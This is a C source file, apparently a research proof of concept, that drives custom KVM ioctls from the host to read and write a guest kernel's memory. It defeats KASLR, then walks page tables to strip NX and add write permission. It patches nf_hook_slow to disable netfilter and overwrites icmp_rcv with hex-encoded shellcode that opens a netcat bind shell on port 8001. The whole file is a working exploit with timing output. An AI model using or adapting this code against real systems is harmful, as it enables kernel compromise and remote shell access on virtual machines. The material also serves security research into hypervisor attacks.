#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>

#include <linux/kvm.h>
#include <asm/kvm.h>
#include <sched.h>
#include <stdbool.h>
#include <time.h>
#include <sys/time.h>

uint64_t kernel_base_virt;
uint64_t kernel_base_phys;
uint64_t kernel_page_offset_virt;
uint64_t init_top_pgt_cr3;

// Bit 63 is the NX bit
// Bit 51 is the SME enable bit (probably)

/* struct kvm_vc_leak {
	__u64 leak_addr;
	__u64 leak_data;
	__u8 read;
	__u64 virtual_kaslr_base;
	__u64 physcial_kaslr_base;
}; */

// tk_core offset from kernel_base_virt 0x26e3080
// offset to tkr_mono.base should be 5*8, calculated it wrong offset is probably 0x30

uint64_t reset_pfn_cnt(int fd){
    return ioctl(fd, KVM_VC_SET_PF_CNT);
}

uint64_t get_pfn_cnt(int fd){
    return ioctl(fd, KVM_VC_GET_PF_CNT);
}

uint64_t reset_vc_cnt(int fd){
    return ioctl(fd, KVM_VC_SET_VC_CNT);
}

uint64_t get_vc_cnt(int fd){
    return ioctl(fd, KVM_VC_GET_VC_CNT);
}

uint64_t lock_write(int fd){
    return ioctl(fd, KVM_VC_WRITE_LOCK);
}


uint64_t unlock_write(int fd){
    return ioctl(fd, KVM_VC_WRITE_UNLOCK);
}

uint64_t read_addr(int fd, uint64_t virtual_addr){
    struct kvm_vc_leak main_struct;
    
    main_struct.leak_addr = virtual_addr;
    main_struct.read = 1;
    while(ioctl(fd, KVM_VC_SET_STUFF, (int32_t*)&main_struct) == -1){
        //printf("Oh dear, something went wrong with ioctl()! %s\n", strerror(errno));
        //exit(-1);
        usleep(100000);
    }
    while(ioctl(fd, KVM_VC_GET_STUFF, (int32_t*)&main_struct) == -1){
        //sched_yield();
        usleep(100000);
    }

    return main_struct.leak_data;
}

void write_addr(int fd, uint64_t virtual_addr, uint64_t data, bool sync){
     struct kvm_vc_leak main_struct;
    
    main_struct.leak_addr = virtual_addr;
    main_struct.leak_data = data;
    main_struct.read = 0;
    while(ioctl(fd, KVM_VC_SET_STUFF, (int32_t*)&main_struct) == -1){
        //printf("Oh dear, something went wrong with ioctl()! %s\n", strerror(errno));
        //exit(-1);
        usleep(100000);
    }
    if (sync){
        // for sync
        while(ioctl(fd, KVM_VC_GET_STUFF, (int32_t*)&main_struct) == -1){
            //sched_yield();
            usleep(100000);
        }
    }
    printf("[+]written 0x%lx to 0x%lx\n",data,virtual_addr);
}

// 0xffffffff81bd6040 <nf_hook_slow>:
// 0xffffffff81000000 <startup_64>:
uint64_t get_nf_hook_slow(void){
    return kernel_base_virt + 0xbd6040;
}

// 0xffffffff81c46cb0 <icmp_rcv>:
// 0xffffffff81000000 <startup_64>:
uint64_t get_icmp_rcv(void){
    return kernel_base_virt + 0xc46c70;
}

	//*(uint64_t*)addr = 0x000001b8fa1e0ff3;
	//*(uint64_t*)(addr+8) = 0x909090909090c300;

void do_page_walk_and_add_w(int fd, uint64_t virtual_addr){
    // 48 bits virtual paging = 9 + 9 + 9 + 9 + 12
    uint16_t offset_lv4,offset_lv3,offset_lv2,offset_lv1;
    uint64_t next_pt_addr,new_addr;

    offset_lv4 = ((virtual_addr >> 39) & 0x1FF) << 3;
    offset_lv3 = ((virtual_addr >> 30) & 0x1FF) << 3;
    offset_lv2 = ((virtual_addr >> 21) & 0x1FF) << 3;
    offset_lv1 = ((virtual_addr >> 12) & 0x1FF) << 3;

    printf("[+]0x%x offset lv4\n",offset_lv4);
    new_addr = init_top_pgt_cr3+offset_lv4;
    next_pt_addr = read_addr(fd,new_addr);
    printf("[+]0x%lx lv4 page table entry\n",next_pt_addr);
    next_pt_addr &= ~(1ULL<<63); 
    next_pt_addr |= (1ULL << 1);
    printf("[+]0x%lx lv4 page table entry after modification\n",next_pt_addr);
    write_addr(fd,new_addr,next_pt_addr,true);
    next_pt_addr &= ~(1ULL<<51);
    next_pt_addr &= ~(0xFFFULL);

    printf("[+]0x%x offset lv3\n",offset_lv3);
    new_addr = kernel_page_offset_virt+next_pt_addr+offset_lv3;
    next_pt_addr = read_addr(fd,new_addr);
    printf("[+]0x%lx lv3 page table entry\n",next_pt_addr);
    next_pt_addr &= ~(1ULL<<63);
    next_pt_addr |= (1ULL << 1);
    printf("[+]0x%lx lv3 page table entry after modification\n",next_pt_addr);
    write_addr(fd,new_addr,next_pt_addr,true);
    if (next_pt_addr & (1ULL << 7)){
        printf("[+]Page is Mapped as 1GiB ... returning\n");
        return;
    }
    next_pt_addr &= ~(1ULL<<51); 
    next_pt_addr &= ~(0xFFFULL);


    printf("[+]0x%x offset lv2\n",offset_lv2);
    new_addr = kernel_page_offset_virt+next_pt_addr+offset_lv2;
    next_pt_addr = read_addr(fd,new_addr);
    printf("[+]0x%lx lv2 page table entry\n",next_pt_addr);
    next_pt_addr &= ~(1ULL<<63);
    next_pt_addr |= (1ULL << 1);
    printf("[+]0x%lx lv2 page table entry after modification\n",next_pt_addr);
    write_addr(fd,new_addr,next_pt_addr,true);
    if (next_pt_addr & (1ULL << 7)){
        printf("[+]Page is Mapped as 2MiB ... returning\n");
        return;
    }
    next_pt_addr &= ~(1ULL<<51); 
    next_pt_addr &= ~(0xFFFULL);

    printf("[+] 0x%x offset lv1\n",offset_lv1);
    new_addr = kernel_page_offset_virt+next_pt_addr+offset_lv1;
    next_pt_addr = read_addr(fd,new_addr);
    printf("[+]0x%lx lv1 page table entry\n",next_pt_addr);
    next_pt_addr &= ~(1ULL<<63);
    next_pt_addr |= (1ULL << 1);
    printf("[+]0x%lx lv1 page table entry after modification\n",next_pt_addr);
    write_addr(fd,new_addr,next_pt_addr,true);
    next_pt_addr &= ~(1ULL<<51);
    next_pt_addr &= ~(0xFFFULL);

    return;
    
}

void leak_page_offset_base(int fd){		
	struct kvm_vc_leak main_struct;
    
    main_struct.leak_addr = kernel_base_virt + 0x1ae2200; // 0x1ae1200/0x1ae2200 page_offset_base string
    main_struct.read = 1;
    if(ioctl(fd, KVM_VC_SET_STUFF, (int32_t*)&main_struct) == -1){
        printf("[-]Oh dear, something went wrong with ioctl()! %s\n", strerror(errno));
        exit(-1);
    }
    while(ioctl(fd, KVM_VC_GET_STUFF, (int32_t*)&main_struct) == -1){
        //sched_yield();
        usleep(100000);
    }

    kernel_page_offset_virt = main_struct.leak_data;
    printf("[+]memory page_offset KASLR base %lx\n",kernel_page_offset_virt);
    init_top_pgt_cr3 = kernel_page_offset_virt + 0x1c3e000 + kernel_base_phys;
    //init_top_pgt_cr3 = kernel_base_virt + 0x1c3e000;
    printf("[+]cr3 virtual address %lx\n", init_top_pgt_cr3);

    return;
}

void init_global_state(int fd){
    struct kvm_vc_leak main_struct;

	if(ioctl(fd, KVM_VC_GET_KASLR, (int32_t*)&main_struct) == -1){
        printf("[-]Oh dear, something went wrong with ioctl()! %s\n", strerror(errno));
        exit(-1);
    }

    kernel_base_phys = main_struct.physcial_kaslr_base;
    kernel_base_virt = main_struct.virtual_kaslr_base;

    printf("[+]physical KASLR base %lx\n",kernel_base_phys);
    printf("[+]virtual KASLR base %lx\n",kernel_base_virt);
    return;
}

void read_benchmark(int fd, bool lock){
    time_t rawtime_init,rawtime;
    uint64_t count = 0;
    time(&rawtime_init);
    time(&rawtime);
    if (lock)
        lock_write(fd);
    while (rawtime-rawtime_init < 10)
    {
        read_addr(fd,get_icmp_rcv());
        time(&rawtime);
        count++;
    }
    if (lock)
        unlock_write(fd);
    printf("[+]got %ld reads in 10 seconds\n",count);
}

void write_benchmark(int fd, bool lock){
    time_t rawtime_init,rawtime;
    uint64_t count = 0;
    time(&rawtime_init);
    time(&rawtime);
    if (lock)
        lock_write(fd);
    while (rawtime-rawtime_init < 10)
    {
        write_addr(fd,get_icmp_rcv(),0x909090c3fa1e0ff3,false);
        time(&rawtime);
        count++;
    }
    if (lock)
        unlock_write(fd);
    printf("[+]got %ld writes in 10 seconds\n",count);
}


void do_firewall_attack(int fd){
    struct timeval start, end;
    long mtime, seconds, useconds; 
    reset_pfn_cnt(fd);
    reset_vc_cnt(fd);

    gettimeofday(&start, NULL);

    do_page_walk_and_add_w(fd,get_nf_hook_slow());

    gettimeofday(&end, NULL);
    seconds  = end.tv_sec  - start.tv_sec;
    useconds = end.tv_usec - start.tv_usec;
    mtime = ((seconds) * 1000 + useconds/1000.0) + 0.5;
    printf("[+]Elapsed time for page-walk and modify NX: %ld milliseconds\n", mtime);

    gettimeofday(&start, NULL);
    write_addr(fd,get_nf_hook_slow(),0x000001b8fa1e0ff3,false);
    write_addr(fd,get_nf_hook_slow()+8,0x909090909090c300,false);
    gettimeofday(&end, NULL);

    seconds  = end.tv_sec  - start.tv_sec;
    useconds = end.tv_usec - start.tv_usec;
    mtime = ((seconds) * 1000 + useconds/1000.0) + 0.5;
    printf("[+]Elapsed time for injecting code: %ld milliseconds\n", mtime);
    printf("[+]total number of page faults during exploit %ld\n",get_pfn_cnt(fd));
    printf("[+]total number of VC's during exploit %ld\n",get_vc_cnt(fd));
}

void do_shellcode_attack(int fd){
    struct timeval start, end;
    long mtime, seconds, useconds; 

    reset_pfn_cnt(fd);
    reset_vc_cnt(fd);

    gettimeofday(&start, NULL);

    do_page_walk_and_add_w(fd,get_icmp_rcv());

    gettimeofday(&end, NULL);
    seconds  = end.tv_sec  - start.tv_sec;
    useconds = end.tv_usec - start.tv_usec;
    mtime = ((seconds) * 1000 + useconds/1000.0) + 0.5;
    printf("[+]Elapsed time for page-walk and modify NX: %ld milliseconds\n", mtime);

    gettimeofday(&start, NULL);

    lock_write(fd);
    write_addr(fd,get_icmp_rcv()+0x0,0x20be5541fa1e0ff3,false);
	write_addr(fd,get_icmp_rcv()+0x8,0x7bf000008,false);
	write_addr(fd,get_icmp_rcv()+0x10,0x80c4834853555441,false);
	write_addr(fd,get_icmp_rcv()+0x18,0x454d4f48072444c7,false);
	write_addr(fd,get_icmp_rcv()+0x20,0x2f3d450a2444c7,false);
	write_addr(fd,get_icmp_rcv()+0x28,0x820beff67d153e8,false);
	write_addr(fd,get_icmp_rcv()+0x30,0x4800000023bf0000,false);
	write_addr(fd,get_icmp_rcv()+0x38,0x45890724448bc589,false);
	write_addr(fd,get_icmp_rcv()+0x40,0x345890a24448b00,false);
	write_addr(fd,get_icmp_rcv()+0x48,0x2f3d48544150b848,false);
	write_addr(fd,get_icmp_rcv()+0x50,0x4818244489486273,false);
	write_addr(fd,get_icmp_rcv()+0x58,0x7273752f3a6e69b8,false);
	write_addr(fd,get_icmp_rcv()+0x60,0xb84820244489482f,false);
	write_addr(fd,get_icmp_rcv()+0x68,0x69622f3a6e696273,false);
	write_addr(fd,get_icmp_rcv()+0x70,0x6eb8482824448948,false);
	write_addr(fd,get_icmp_rcv()+0x78,0x48622f7273752f3a,false);
	write_addr(fd,get_icmp_rcv()+0x80,0x372444c730244489,false);
	write_addr(fd,get_icmp_rcv()+0x88,0x67d0efe8006e6962,false);
	write_addr(fd,get_icmp_rcv()+0x90,0x18bf00000820beff,false);
	write_addr(fd,get_icmp_rcv()+0x98,0x8b48c38948000000,false);
	write_addr(fd,get_icmp_rcv()+0xa0,0x8b48038948182444,false);
	write_addr(fd,get_icmp_rcv()+0xa8,0x4808438948202444,false);
	write_addr(fd,get_icmp_rcv()+0xb0,0x104389482824448b,false);
	write_addr(fd,get_icmp_rcv()+0xb8,0x4389483024448b48,false);
	write_addr(fd,get_icmp_rcv()+0xc0,0x1f43893724448b18,false);
	write_addr(fd,get_icmp_rcv()+0xc8,0x820beff67d0b3e8,false);
	write_addr(fd,get_icmp_rcv()+0xd0,0x480000000abf0000,false);
	write_addr(fd,get_icmp_rcv()+0xd8,0x588948c489492889,false);
	write_addr(fd,get_icmp_rcv()+0xe0,0x1040c74808,false);
	write_addr(fd,get_icmp_rcv()+0xe8,0x2f6e69622fb84800,false);
	write_addr(fd,get_icmp_rcv()+0xf0,0xe24448948736162,false);
	write_addr(fd,get_icmp_rcv()+0xf8,0x44896600000068b8,false);
	write_addr(fd,get_icmp_rcv()+0x100,0xbaff67d079e81624,false);
	write_addr(fd,get_icmp_rcv()+0x108,0x820be0000632d,false);
	write_addr(fd,get_icmp_rcv()+0x110,0x894800000003bf00,false);
	write_addr(fd,get_icmp_rcv()+0x118,0x89660e24448b48c5,false);
	write_addr(fd,get_icmp_rcv()+0x120,0x62444c6042454,false);
	write_addr(fd,get_icmp_rcv()+0x128,0x2444b70f00458948,false);
	write_addr(fd,get_icmp_rcv()+0x130,0xd046e80845896616,false);
	write_addr(fd,get_icmp_rcv()+0x138,0xbf00000820beff67,false);
	write_addr(fd,get_icmp_rcv()+0x140,0xfc5894900000045,false);
	write_addr(fd,get_icmp_rcv()+0x148,0x45894166042444b7,false);
	write_addr(fd,get_icmp_rcv()+0x150,0x8841062444b60f00,false);
	write_addr(fd,get_icmp_rcv()+0x158,0x2f206d72b8480245,false);
	write_addr(fd,get_icmp_rcv()+0x160,0x244489482f706d74,false);
	write_addr(fd,get_icmp_rcv()+0x168,0x6d203b2074b8483b,false);
	write_addr(fd,get_icmp_rcv()+0x170,0x43244489486f6e6b,false);
	write_addr(fd,get_icmp_rcv()+0x178,0x706d742f2064b848,false);
	write_addr(fd,get_icmp_rcv()+0x180,0x484b24448948742f,false);
	write_addr(fd,get_icmp_rcv()+0x188,0x622f203b207020b8,false);
	write_addr(fd,get_icmp_rcv()+0x190,0xb848532444894869,false);
	write_addr(fd,get_icmp_rcv()+0x198,0x2f3c302068732f6e,false);
	write_addr(fd,get_icmp_rcv()+0x1a0,0x74b8485b24448948,false);
	write_addr(fd,get_icmp_rcv()+0x1a8,0x48207c20742f706d,false);
	write_addr(fd,get_icmp_rcv()+0x1b0,0x636eb84863244489,false);
	write_addr(fd,get_icmp_rcv()+0x1b8,0x894838206e6c2d20,false);
	write_addr(fd,get_icmp_rcv()+0x1c0,0x313030b8486b2444,false);
	write_addr(fd,get_icmp_rcv()+0x1c8,0x448948742f3e3120,false);
	write_addr(fd,get_icmp_rcv()+0x1d0,0x6d742f3eb8487324,false);
	write_addr(fd,get_icmp_rcv()+0x1d8,0x2444894800742f70,false);
	write_addr(fd,get_icmp_rcv()+0x1e0,0x20beff67cf9ae878,false);
	write_addr(fd,get_icmp_rcv()+0x1e8,0x20bf000008,false);
	write_addr(fd,get_icmp_rcv()+0x1f0,0x3b24448b48c38948,false);
	write_addr(fd,get_icmp_rcv()+0x1f8,0x4324448b48038948,false);
	write_addr(fd,get_icmp_rcv()+0x200,0x24448b4808438948,false);
	write_addr(fd,get_icmp_rcv()+0x208,0x448b48104389484b,false);
	write_addr(fd,get_icmp_rcv()+0x210,0x8b48184389485324,false);
	write_addr(fd,get_icmp_rcv()+0x218,0x48204389485b2444,false);
	write_addr(fd,get_icmp_rcv()+0x220,0x284389486324448b,false);
	write_addr(fd,get_icmp_rcv()+0x228,0x4389486b24448b48,false);
	write_addr(fd,get_icmp_rcv()+0x230,0x89487324448b4830,false);
	write_addr(fd,get_icmp_rcv()+0x238,0x487824448b483843,false);
	write_addr(fd,get_icmp_rcv()+0x240,0xff67cf38e83d4389,false);
	write_addr(fd,get_icmp_rcv()+0x248,0xc931ef8948e2894c,false);
	write_addr(fd,get_icmp_rcv()+0x250,0x894cc68948288948,false);
	write_addr(fd,get_icmp_rcv()+0x258,0xc748105889480868,false);
	write_addr(fd,get_icmp_rcv()+0x260,0x35e8000000001840,false);
	write_addr(fd,get_icmp_rcv()+0x268,0x1b8ff4d17,false);
	write_addr(fd,get_icmp_rcv()+0x270,0x5c415d5b80ec8348,false);
	write_addr(fd,get_icmp_rcv()+0x278,0x441f0fc35d41,false);
    unlock_write(fd);

    gettimeofday(&end, NULL);
    seconds  = end.tv_sec  - start.tv_sec;
    useconds = end.tv_usec - start.tv_usec;
    mtime = ((seconds) * 1000 + useconds/1000.0) + 0.5;
    printf("[+]Elapsed time for injecting shellcode: %ld milliseconds\n", mtime);
    printf("[+]total number of page faults during exploit %ld\n",get_pfn_cnt(fd));
    printf("[+]total number of VC's during exploit %ld\n",get_vc_cnt(fd));
}


int main(int argc, char const *argv[])
{
    int fd;
   

    printf("[+]opening /dev/kvm\n");
    fd = open("/dev/kvm", O_RDWR);
    if(fd < 0) {
        printf("[-]Cannot open device file ... check permissions\n");
        return 0;
    }
    init_global_state(fd);
    leak_page_offset_base(fd);

    //do_firewall_attack(fd);
    do_shellcode_attack(fd);

    return 0;
}
